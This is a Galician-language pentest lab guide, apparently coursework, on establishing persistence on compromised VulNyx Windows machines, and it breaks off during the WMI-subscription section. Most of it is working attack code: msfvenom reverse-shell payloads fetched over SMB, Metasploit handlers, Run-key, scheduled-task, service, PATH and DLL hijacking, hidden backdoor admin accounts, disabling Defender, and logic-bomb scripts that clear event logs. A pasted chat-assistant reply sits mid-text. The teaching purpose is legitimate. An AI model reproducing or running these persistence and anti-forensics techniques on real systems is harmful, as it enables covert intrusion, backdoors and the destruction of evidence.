Fase 5. Persistencia - Máquinas VulNyx Low/Easy/Medium Windows

Nota de seguridade: Usar exclusivamente en contextos autorizados de pentesting.

Recomendacións

• Non actualizar os paquetes do sistema (podería romper vectores de ataque).
• Traballar sempre nunha rede illada (host-only).
• Executar comandos en PowerShell ou CMD con privilexios de administrador cando sexa necesario.
• Desactivar Windows Defender

---

1. Introdución e Preparación

Obxectivo

Realizar nun test de intrusión a Fase 5. Persistencia sobre as máquinas Vulnyx Low, Easy e Medium Windows da UD2 de HE.

---

Pasos básicos

1. Descargar unha máquina(OVA) dende VulNyx, por exemplo: War
2. Comprobar o hash
3. Descomprimir e importar a OVA en VirtualBox. Asegurarse que na configuración de rede o Adaptador 1 estea en modo Só anfitrión (Host-only)
4. Iniciar a máquina.
5. Configurar en VirtualBox unha máquina Kali Linux coa rede en modo Só anfitrión (Host-only).
6. Arrancar a máquina Kali Linux
7. Identificar IP, escanear, explotar, establecer persistencia
8. Elaborar un informe final coas evidencias obtidas.

---

Fases dun test de intrusión (Pentest)

---

2. Bloque I: Persistencia en Conexións e Shells

Prerrequisito

Ter acceso inicial á máquina (por exemplo, mediante War)

Opción 1: Reverse shell simple con Registry Run

IP da máquina Kali Linux

No caso de execución deste procedemento a IP da máquina Kali Linux foi 192.168.56.183 e o da máquina vítima foi 192.168.56.209, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.

ip -o -4 addr show eth0 | awk '{print $4}' | cut -d'/' -f1 #Substituír eth0 pola NIC correspondente

Diferenza entre HKLM e HKCU

• HKLM\Run (Local Machine): Execútase ao iniciar sesión calquera usuario

  • Funciona para todos os usuarios do sistema
  • NON se executa ao arrancar o sistema sen login
  • NON se executa se a máquina reinicia e queda na pantalla de login

• HKCU\Run (Current User): Execútase só cando ese usuario específico inicia sesión

  • Funciona só para ese usuario
  • NON se executa se outro usuario fai login

Diferenza clave:
- HKLM: Calquera usuario que faga login → execútase
- HKCU: Só ese usuario específico → execútase

AMBOS REQUIREN LOGIN DE USUARIO:

Referencia oficial: Microsoft Docs - Run and RunOnce Registry Keys

RunOnce vs Run (Registry avanzado)

REM RunOnce
REM Execútase UNHA soa vez no seguinte inicio de sesión
REM A entrada elimínase automaticamente tras executarse
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v WindowsUpdate /t REG_SZ /d "C:\ProgramData\WindowsUpdate\winupdate.exe" /f

REM Run
REM Execútase EN CADA inicio de sesión
REM Mantense no rexistro ata que se elimine manualmente
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\ProgramData\WindowsUpdate\winupdate.exe" /f

Dentro da consola de Administrator conseguida executar:

Paso 1: Crear payload en Kali

# Crear payload Meterpreter reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.183 LPORT=4444 -f exe -o /tmp/winupdate.exe

# Verificar que se creou
ls -lh /tmp/winupdate.exe

# Compartir por SMB
cd /tmp
impacket-smbserver compartir . -smb2support

Paso 2: Desactivar Windows Defender (PERMANENTE) e permitir acceso no firewall

1. Seguir o documentado en Desactivar Windows Defender

2. Crear regra de firewall que permite conexións entrantes ao payload
   

   REM Crear
   netsh advfirewall firewall add rule name="Windows Update Service" dir=in action=allow program="C:\ProgramData\WindowsUpdate\winupdate.exe" enable=yes
   
   REM Verificar
   netsh advfirewall firewall show rule name="Windows Update Service"
   

Paso 3: Copiar e instalar na máquina Windows

Variante 1: Usando HKLM

REM Crear cartafol
mkdir C:\ProgramData\WindowsUpdate

REM Copiar executable
copy \\192.168.56.183\compartir\winupdate.exe C:\ProgramData\WindowsUpdate\winupdate.exe

REM Engadir ao Registry HKLM
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\ProgramData\WindowsUpdate\winupdate.exe" /f

REM Verificar
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate

REM Eliminar
REM reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f

Variante 2: Usando HKCU con AutoLogin(ver Opción 5)

REM Paso 1: Crear entrada en HKCU
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\ProgramData\WindowsUpdate\winupdate.exe" /f

REM Paso 2: Configurar AutoLogin (REQUIRE contrasinal correcta)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername /t REG_SZ /d "administrator" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d "abc123." /f

REM Paso 3: Verificar configuración de AutoLogin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

REM Paso 4: Verificar entrada HKCU
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate

REM Paso 5: Eliminar
REM reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
REM reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d "0" /f
REM reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f
REM reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername /f

Paso 4: Preparar handler Meterpreter en Kali

# Handler Meterpreter (executa directamente en background)
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.183; set LPORT 4444; set ExitOnSession false; exploit -j"

# Ao recibir a sesión verás:
# [*] Meterpreter session 1 opened (192.168.56.183:4444 -> 192.168.56.209:XXXXX)

# Para interactuar coa sesión:
# sessions -i 1

Comandos útiles dentro da sesión Meterpreter:

meterpreter > sysinfo          # Información do sistema
meterpreter > getuid           # Usuario actual
meterpreter > pwd              # Directorio actual
meterpreter > ls               # Listar ficheiros
meterpreter > shell            # Obter shell CMD
whoami                         # Dentro da shell
exit                           # Saír da shell e volver a Meterpreter

Paso 5: Probar e reiniciar

REM Probar manualmente primeiro
C:\ProgramData\WindowsUpdate\winupdate.exe

REM Se funciona, reiniciar
shutdown /r /t 0

Unha vez reiniciada a máquina vulnyx ao iniciar sesión co usuario administrator o Registry Run cargarase e abrirase a reverse shell que temos á espera na Kali Linux.

---

Opción 2: Acceso remoto persistente (RDP con clave SSH análoga)

Esta técnica establece acceso remoto permanente mediante RDP, permitindo conexións directas sen necesidade de explotación adicional.

Habilitar Remote Desktop Protocol (RDP)

REM Establece fDenyTSConnections a 0 (0 = permitir, 1 = denegar)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

REM Habilitar regra de firewall para Remote Desktop
REM Permite conexións entrantes ao porto 3389 (RDP)
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Na máquina comprometida, como Administrator, crear un usuario que pasa desapercibido(ver Opción 3):

Variante 1: Usuario estándar con privilexios RDP

REM Crear usuario
net user sysadmin P@ssw0rd123 /add

REM Engadir a administradores
net localgroup Administrators sysadmin /add

REM Engadir a Remote Desktop Users
net localgroup "Remote Desktop Users" sysadmin /add

REM Verificar
net user sysadmin

Variante 2: Usuario oculto (nome termina en $)

REM Crear usuario oculto
net user support$ P@ssw0rd123 /add

REM Engadir a administradores
net localgroup Administrators support$ /add

REM Engadir a Remote Desktop Users
net localgroup "Remote Desktop Users" support$ /add

REM Ocultar da pantalla de login
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v support$ /t REG_DWORD /d 0 /f

REM Verificar
net user support$

Agora podemos verificar o acceso dende Kali Linux para conectar mediante RDP:

# Usando xfreerdp
xfreerdp3 /u:sysadmin /p:P@ssw0rd123 /v:192.168.56.209:3389 /cert:ignore

Esta técnica proporciona acceso limpo, cifrado e persistente sen necesidade de reverse shells ou tarefas programadas visibles.

---

3. Bloque II: Persistencia en Usuarios e Credenciais

Opción 3: Engadir usuario permanente e ademais facelo administrador

Dentro da consola de Administrator conseguida executar:

REM Crear usuario
net user pentester P@ssw0rd123 /add

REM Engadir a administradores
net localgroup Administrators pentester /add

REM Verificar
net user pentester
whoami /all

Variante con usuario oculto:

REM Crear usuario oculto
net user backdoor P@ssw0rd123 /add

REM Engadir a administradores
net localgroup Administrators backdoor /add

REM Ocultar da pantalla de login
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f

REM Verificar
net user backdoor

---

Opción 4: Modificación de usuario existente

Esta técnica modifica un usuario existente que raramente se use, proporcionando acceso inmediato.

Na máquina comprometida, como Administrator:

Variante 1: Cambiar contrasinal de usuario do sistema

REM Buscar usuarios do sistema
net user

REM Cambiar contrasinal dun usuario existente (Guest)
net user Guest P@ssw0rd123

REM Activar conta Guest se está desactivada
net user Guest /active:yes

REM Engadir a administradores
net localgroup Administrators Guest /add

Agora podemos facer login como Guest con privilexios Administrator.

Variante 2: Clonar conta de administrador

REM Crear usuario con mesmo nome que un servizo do sistema
net user WindowsUpdate P@ssw0rd123 /add

REM Engadir a administradores
net localgroup Administrators WindowsUpdate /add

REM Ocultar da pantalla de login
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v WindowsUpdate /t REG_DWORD /d 0 /f

---

Opción 5: AutoLogin sen contrasinal (visudo NOPASSWD análogo)

Esta técnica permite que o usuario se autentique automaticamente ao iniciar o sistema sen necesidade de contrasinal, executando automaticamente calquera persistencia baseada en HKCU.

Na máquina comprometida, como Administrator:

REM Paso 1: Crear entrada en HKCU
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\ProgramData\WindowsUpdate\winupdate.exe" /f

REM Paso 2: Configurar AutoLogin (REQUIRE contrasinal correcta)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername /t REG_SZ /d "administrator" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d "abc123." /f

REM Paso 3: Verificar configuración
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername

Agora, ao reiniciar, o usuario administrator iniciará sesión automaticamente e executarase o payload de HKCU.

---

4. Bloque III: Automatización e Eventos (Triggers)

Opción 6: Tarefa programada (Scheduled Task)

Esta técnica establece unha conexión automática mediante unha tarefa programada que executa unha reverse shell.

Vantaxes das Tarefas Programadas

• Execútanse co usuario SYSTEM (máis privilexios)
• Poden configurarse con múltiples triggers
• Máis flexibles que Registry Run

IMPORTANTE: AtLogon vs AtStartup

AtLogon (/sc onlogon) - RECOMENDADO:
- Execútase cando un usuario inicia sesión
- A rede está completamente inicializada

AtStartup (/sc onstart) - Require delay:
- Execútase ao iniciar o SO
- A rede pode non estar lista
- Funciona con delay de 30-60 segundos

Probar en tempo real

# Probar
schtasks /run /tn "nomeTarefaProgramada"

# Verificar (agarda 5 segundos)
Start-Sleep -Seconds 5
schtasks /query /tn "nomeTarefaProgramada" /v /fo LIST

Primeiro, na máquina Kali Linux, deixar un listener á escoita:

# Handler Meterpreter
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.183; set LPORT 4444; set ExitOnSession false; exploit -j"

Variante 1: Tarefa que se executa cada 5 minutos

REM Crear tarefa que se executa cada 5 minutos
schtasks /create /tn "SystemMaintenance" /tr "C:\ProgramData\WindowsUpdate\winupdate.exe" /sc minute /mo 5 /st 00:00 /ru SYSTEM /rl HIGHEST /f


REM Verificar
schtasks /query /tn "SystemMaintenance" /v /fo LIST

Variante 2: Tarefa ao iniciar sesión (AtLogon - RECOMENDADO)

REM Crear tarefa que se executa AO INICIAR SESIÓN
schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\WindowsUpdate\winupdate.exe" /sc onlogon /ru SYSTEM /rl HIGHEST /f

REM Verificar
schtasks /query /tn "WindowsUpdate" /v /fo LIST

Variante 3: Tarefa ao inicio con delay

REM Crear tarefa ao inicio con espera de 30 segundos
schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\WindowsUpdate\winupdate.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f

REM Engadir delay de 30 segundos
schtasks /change /tn "WindowsUpdate" /delay 0000:30

REM Verificar
schtasks /query /tn "WindowsUpdate"

Variante 4: Bombas Lóxicas (Triggers) - Baseadas en data

Opción A: Crear un script que se active nunha data específica.

# Crear script en PowerShell
$script = @'
$targetDate = Get-Date "2025-12-25"
$currentDate = Get-Date

if ($currentDate.Date -eq $targetDate.Date) {
    # 1. PRIORITY: Crear usuario backdoor primeiro
    net user santa HoHoHo123 /add 2>$null
    net localgroup Administrators santa /add 2>$null
    
    # 2. Limpar logs
    wevtutil cl Security 2>$null
    wevtutil cl System 2>$null
    
    # 3. FINALMENTE: Activar payload
    Start-Process "C:\ProgramData\WindowsUpdate\winupdate.exe" -WindowStyle Hidden
}

# Comportamento normal para non levantar sospeitas  
Write-Host "System maintenance check completed"
exit 0
'@

# Gardar script
$script | Out-File -FilePath "C:\Windows\System32\maintenance.ps1" -Encoding ASCII

# Crear tarefa programada
schtasks /create /tn "DailyMaintenance" /tr "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Windows\System32\maintenance.ps1" /sc daily /st 02:00 /ru SYSTEM /rl HIGHEST /f

Opción B: Script baseado en tempo (30 días):

$script = @'
$triggerFile = "C:\ProgramData\WindowsUpdate\.trigger_date"

# Se non existe o arquivo, crealo coa data actual e saír
if (-not (Test-Path $triggerFile)) {
    Get-Date | Out-File -FilePath $triggerFile
    exit 0
}

# Ler a data de activación
$startDate = Get-Content $triggerFile | Get-Date
$currentDate = Get-Date
$diffDays = ($currentDate - $startDate).Days

# Activar despois de 30 días
if ($diffDays -ge 30) {
    # Payload
    Start-Process "C:\ProgramData\WindowsUpdate\winupdate.exe" -WindowStyle Hidden

    # Eliminar o trigger para non executar de novo
    Remove-Item -Path $triggerFile -Force
}
'@

$script | Out-File -FilePath "C:\ProgramData\WindowsUpdate\delayed-payload.ps1" -Encoding ASCII

# Executar cada 6 horas
schtasks /create /tn "SystemCheck" /tr "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\WindowsUpdate\delayed-payload.ps1" /sc hourly /mo 6 /ru SYSTEM /rl HIGHEST /f

Como verificar isto sen esperar 30 días?

Para probar que funciona inmediatamente, engana ao script creando o ficheiro cunha data antiga manualmente:

# 1. Crear data falsa (35 días no pasado)
(Get-Date).AddDays(-35) | Out-File -FilePath "C:\ProgramData\WindowsUpdate\.trigger_date"

# 2. Forzar a execución da tarefa
schtasks /run /tn "SystemCheck"

Opción C: Script baseado no número de reinicios:

$script = @'
$counterFile = "C:\Windows\System32\config\.boot_count"
$triggerCount = 3  # 3 reinicios

# Crear contador se non existe
if (-not (Test-Path $counterFile)) {
    "0" | Out-File -FilePath $counterFile
}

# Ler e incrementar
$count = [int](Get-Content $counterFile)
$count++
$count | Out-File -FilePath $counterFile

# Comprobar se chegamos ao obxectivo
if ($count -ge $triggerCount) {
    # Lanzar a shell en segundo plano
    Start-Process "C:\ProgramData\WindowsUpdate\winupdate.exe" -WindowStyle Hidden
}
'@

$script | Out-File -FilePath "C:\Windows\System32\boot-counter.ps1" -Encoding ASCII

# Crear tarefa que se executa ao inicio
schtasks /create /tn "BootCounter" /tr "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Windows\System32\boot-counter.ps1" /sc onstart /ru SYSTEM /rl HIGHEST /f

REM Engadir delay de 30 segundos
schtasks /change /tn "BootCounter" /delay 0000:30

REM Verificar
schtasks /query /tn "BootCounter"

Variante 5: Eventos do sistema

Opción A: Activación ao login dun usuario específico:

$script = @'
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name

# Activar cando o usuario "Administrator" faga login
if ($currentUser -like "*Administrator*") {
    Start-Process "C:\ProgramData\WindowsUpdate\winupdate.exe" -WindowStyle Hidden
}
'@

$script | Out-File -FilePath "C:\Windows\System32\user-monitor.ps1" -Encoding ASCII

# Crear como administrador(`administrator`) a tarefa que se executa ao login
schtasks /create /tn "UserMonitor" /tr "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Windows\System32\user-monitor.ps1" /sc onlogon /rl HIGHEST /f

Opción B: Activación cando se elimina un arquivo "canario":

Arquivo canario 🐤

Un arquivo canario (canary file) é un ficheiro que se usa como sistema de detección de intrusións ou manipulacións no sistema. É como deixar un "fío trampa" que alerta cando alguén pasa por alí!

# 1. Crear arquivo canario (Usamos ProgramData para evitar erros de redirección de System32)
New-Item -Path "C:\ProgramData\WindowsUpdate\.keepalive" -ItemType File -Force

# 2. Crear script
$script = @'
$canaryFile = "C:\ProgramData\WindowsUpdate\.keepalive"

# Se o arquivo canario non existe, activar payload
if (-not (Test-Path $canaryFile)) {
    # O administrador está a investigar, activar evacuación
    Start-Process "C:\ProgramData\WindowsUpdate\winupdate.exe" -WindowStyle Hidden
    
    # Crear usuario de emerxencia
    net user emergency Emerg123 /add 2>$null
    net localgroup Administrators emergency /add 2>$null
    
    # Ocultar
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v emergency /t REG_DWORD /d 0 /f 2>$null
    
    # Limpar rastros
    wevtutil cl Security 2>$null
}
'@

$script | Out-File -FilePath "C:\ProgramData\WindowsUpdate\canary-check.ps1" -Encoding ASCII

# 3. Executar cada 5 minutos
schtasks /create /tn "SystemCanary" /tr "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\WindowsUpdate\canary-check.ps1" /sc minute /mo 5 /ru SYSTEM /rl HIGHEST /f

Opción C: Activación segundo carga do sistema:

# 1. Definir o script (Gardámolo en ProgramData para evitar erros)
$script = @'
# Obtemos a carga media da CPU
$cpuLoad = (Get-WmiObject Win32_Processor | Measure-Object -Property LoadPercentage -Average).Average

# Rexistrar para depuración (opcional, para que vexas que valor ten)
$log = "C:\ProgramData\WindowsUpdate\cpu_log.txt"
Add-Content -Path $log -Value "$(Get-Date): Carga CPU detectada: $cpuLoad %"

# Activar se a carga é menor que 10% (máquina inactiva)
if ($cpuLoad -lt 10) {
    Start-Process "C:\ProgramData\WindowsUpdate\winupdate.exe" -WindowStyle Hidden
}
'@

$script | Out-File -FilePath "C:\ProgramData\WindowsUpdate\load-trigger.ps1" -Encoding ASCII

# 2. Executar cada 3 minutos
schtasks /create /tn "LoadMonitor" /tr "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\WindowsUpdate\load-trigger.ps1" /sc minute /mo 3 /ru SYSTEM /rl HIGHEST /f

---

Opción 7: Servizo de Windows (Windows Service)

Esta técnica crea un servizo Windows que establece unha reverse shell ao inicio do sistema, mantendo persistencia despois de cada reinicio.

Importante: Tipo de payload para servizos

Os payloads normales (meterpreter/reverse_tcp) NON funcionan como servizos.

Opcións que FUNCIONAN:
1. meterpreter/reverse_tcp con formato exe-service

Na máquina Kali Linux, deixar un listener á escoita:

# Opción 1 - Handler netcat
nc -nlvp 6666
# Opción 2 - Handler Meterpreter
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.183; set LPORT 6666; set ExitOnSession false; exploit -j"

Paso 1: Crear payload de tipo servizo en Kali

# Crear payload que SI funciona como servizo
# Opción 1: Para netcat
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.183 LPORT=6666 -f exe-service -o /tmp/winupdate_service.exe
# Opción 2: Para Metasploit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.183 LPORT=6666 -f exe-service -o /tmp/winupdate_service.exe


# Verificar
ls -lh /tmp/winupdate_service.exe

# Compartir por SMB
cd /tmp
impacket-smbserver compartir . -smb2support

Paso 2: Copiar e crear servizo

REM Copiar o payload
copy \\192.168.56.183\compartir\winupdate_service.exe C:\ProgramData\WindowsUpdate\winupdate_service.exe

REM Crear servizo
sc create "WindowsDefenderUpdate" binPath="C:\ProgramData\WindowsUpdate\winupdate_service.exe" start=auto DisplayName="Windows Defender Update Service"

REM Configurar para que arranque despois de que a rede estea inicializada
sc config "WindowsDefenderUpdate" start= delayed-auto

REM Engadir descrición
sc description "WindowsDefenderUpdate" "Maintains Windows Defender definitions"

REM Verificar
sc query "WindowsDefenderUpdate"

REM Eliminar
REM sc stop "WindowsDefenderUpdate"
REM sc delete "WindowsDefenderUpdate"

Paso 3: Iniciar o servizo

REM Probar iniciando o servizo
sc start "WindowsDefenderUpdate"

REM Verificar estado
sc query "WindowsDefenderUpdate"

Paso 4: Probar persistencia

REM Reiniciar
shutdown /r /t 0

REM Ao reiniciar, o servizo inicia automaticamente
REM Recibirás a shell en Kali sen facer nada

Agora, cada vez que se inicie o sistema, o servizo executarase automaticamente e establecerá a reverse shell.

Por que o servizo aparece como STOPPED pero funciona?

> sc query "WindowsDefenderUpdate"

SERVICE_NAME: WindowsDefenderUpdate 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Comportamento normal de payloads exe-service:

1. O servizo arranca ao reiniciar o sistema
2. Executa o payload que conecta a Meterpreter
3. O servizo remata (STATE: STOPPED)
4. O proceso segue vivo como proceso independente

Vantaxes desta técnica: - Baixo perfil: sc query mostra STOPPED (non sospeitoso) - Proceso orfán: Non hai pai claro que o vincule ao servizo - Persistencia real: Relánzase automaticamente en cada reinicio - Evasión EDR: Moitos EDRs buscan servizos RUNNING sospeitosos

Detección: Require análise forense activa con tasklist, Get-Process, ou monitorización de eventos de arranque de servizos.

---

5. Bloque IV: Persistencia en Binarios e Entorno

Opción 8: Modificación do PATH

Esta técnica modifica a variable de entorno PATH para que o sistema execute binarios maliciosos en lugar dos lexítimos.

Na máquina Kali Linux, deixar un listener:

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.183; set LPORT 4444; set ExitOnSession false; exploit -j"

Primeiro, na máquina comprometida, como Administrator, crear un directorio para os nosos binarios maliciosos:

REM Crear directorio oculto
mkdir C:\Windows\System32\drivers\etc\cache
attrib +h C:\Windows\System32\drivers\etc\cache

Variante 1: Suplantar comando común (whoami)

REM Crear script batch malicioso
echo @echo off > C:\Windows\System32\drivers\etc\cache\whoami.bat
echo start /B C:\ProgramData\WindowsUpdate\winupdate.exe >> C:\Windows\System32\drivers\etc\cache\whoami.bat
echo C:\Windows\System32\whoami.exe %* >> C:\Windows\System32\drivers\etc\cache\whoami.bat

REM Modificar PATH global
setx PATH "C:\Windows\System32\drivers\etc\cache;%PATH%" /M

REM Verificar
REM echo %PATH% non amosa os cambios ata nova sesión
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v Path

Agora, cada vez que o usuario execute comandos como whoami, activarase unha reverse shell mentres o comando real tamén se executa.

---

Opción 9 - Biblioteca compartida maliciosa (DLL Hijacking)

Esta técnica inxecta código malicioso mediante bibliotecas compartidas (DLLs). Análoga a LD_PRELOAD en Linux.

Regra fundamental do DLL Hijacking

Un DLL Hijacking funciona cando: - O executable chama a unha DLL por nome (LoadLibrary("algo.dll")) - Windows busca primeiro no directorio do executable - O atacante coloca unha DLL co mesmo nome

A DLL cargada será a primeira atopada, non necesariamente a lexítima do sistema.

Requisitos: Acceso Administrator na máquina vítima.

Orde de busca de DLLs en Windows:

Cando unha aplicación chama a unha DLL sen ruta absoluta, Windows segue esta orde:

1. Directorio do executable ← AQUÍ ATACAMOS
2. C:\Windows\System32
3. C:\Windows
4. Directorio actual do proceso
5. Directorios definidos na variable PATH

Conclusión: o hijacking prodúcese cando a DLL maliciosa está no mesmo directorio que o executable.

---

Paso 1: Crear executable vulnerable en Kali

// Gardar como vulnerable.c
#include <windows.h>
#include <stdio.h>

int main(void) {
    HMODULE h = LoadLibraryA("labdemo.dll");
    if (h) {
        MessageBoxA(NULL, "DLL cargada", "DLL Hijacking", MB_OK);
    } else {
        MessageBoxA(NULL, "DLL NON cargada", "DLL Hijacking", MB_OK);
    }
    return 0;
}

Compilar:

x86_64-w64-mingw32-gcc vulnerable.c -o /tmp/app.exe

Paso 2: Crear DLL maliciosa en Kali

# Crear DLL payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.183 LPORT=8888 -f dll -o /tmp/labdemo.dll

# Verificar
ls -lh /tmp/labdemo.dll /tmp/app.exe

# Compartir por SMB
cd /tmp
impacket-smbserver compartir . -smb2support

Paso 3: Copiar ficheiros á máquina Windows

Na máquina comprometida, como Administrator:

REM Crear directorio de traballo
mkdir C:\Windows\Temp\AppTest

REM Copiar executable vulnerable
copy \\192.168.56.183\compartir\app.exe C:\Windows\Temp\AppTest\app.exe

REM Copiar DLL maliciosa (NO MESMO DIRECTORIO)
copy \\192.168.56.183\compartir\labdemo.dll C:\Windows\Temp\AppTest\labdemo.dll

REM Verificar
dir C:\Windows\Temp\AppTest

Paso 4: Preparar listener en Kali

# Handler Meterpreter
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.183; set LPORT 8888; set ExitOnSession false; exploit -j"

Paso 5: Executar aplicación

REM Executar o executable
C:\Windows\Temp\AppTest\app.exe

REM Windows cargará labdemo.dll do MESMO DIRECTORIO
REM Activarase a reverse shell

---

Tes razón! O título e comentarios da Opción 10 deberían reflectir que se activa tanto en login como en logout. Aquí tes a sección corrixida:

---

Opción 10: WMI Event Subscription (Eventos do sistema)

Activación ao login/logout dun usuario

Esta técnica usa WMI para executar un payload cada vez que un usuario inicia ou pecha sesión de forma interactiva.

WMI – LogonType = 2 (Interactive Logon)

LogonType = 2 indica un inicio de sesión interactivo en Windows.

✔ Inclúe: - Login local (consola / VM) - Login remoto por RDP

✖ Non inclúe: - Servizos - Tarefas programadas - Logins non interactivos (SYSTEM, batch)

É ideal para persistencia que só se active cando un usuario real inicia ou pecha sesión.

Vantaxes desta técnica

• Inclúe protección anti-disparos múltiples
• Persistente tras reinicios
• Máis sigilosa que Registry Run ou Scheduled Tasks
• Actívase tanto ao iniciar como ao pechar sesión

Comportamento ao pechar sesión

Ao pechar sesión (logoff), Windows pode xerar múltiples eventos de Win32_LogonSession, polo que o script de protección anti-disparos é esencial para evitar múltiples execucións do payload.

Resultado esperado:
- Ao pechar sesión: 1 shell Meterpreter (bloqueadas as demais)
- Ao iniciar sesión: 1 shell Meterpreter

Prerrequisito: Ter o payload xa copiado na máquina (ver Opción 1 - Paso 1-3)

Na máquina comprometida, como Administrator, en PowerShell:

# Paso 1: Crear script con protección anti-disparos múltiples
$script = @'
$lockFile = "C:\ProgramData\WindowsUpdate\.wmi_lock"
$now = Get-Date

# Comprobar se hai un disparo recente (últimos 30 segundos)
if (Test-Path $lockFile) {
    $lockTime = Get-Item $lockFile | Select-Object -ExpandProperty LastWriteTime
    $diff = ($now - $lockTime).TotalSeconds

    if ($diff -lt 30) {
        # Moi recente, NON executar (evita disparos múltiples ao pechar sesión)
        exit 0
    }
}

# Crear/actualizar arquivo de bloqueo
$now | Out-File -FilePath $lockFile -Force

# Executar payload
Start-Process "C:\ProgramData\WindowsUpdate\winupdate.exe" -WindowStyle Hidden
'@

# Gardar script
$script | Out-File -FilePath "C:\ProgramData\WindowsUpdate\wmi_payload.ps1" -Encoding ASCII

# Paso 2: Crear filtro WMI (detecta logins/logouts interactivos)
$FilterArgs = @{
    Name = 'UserLoginFilter'
    EventNamespace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

# Paso 3: Crear consumidor (executa o script)
$ConsumerArgs = @{
    Name = 'UserLoginConsumer'
    CommandLineTemplate = 'powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\WindowsUpdate\wmi_payload.ps1'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

# Paso 4: Vincular filtro e consumidor
$BindingArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs

# Verificar
Write-Host "`n=== CONFIGURACIÓN INSTALADA ===" -ForegroundColor Green
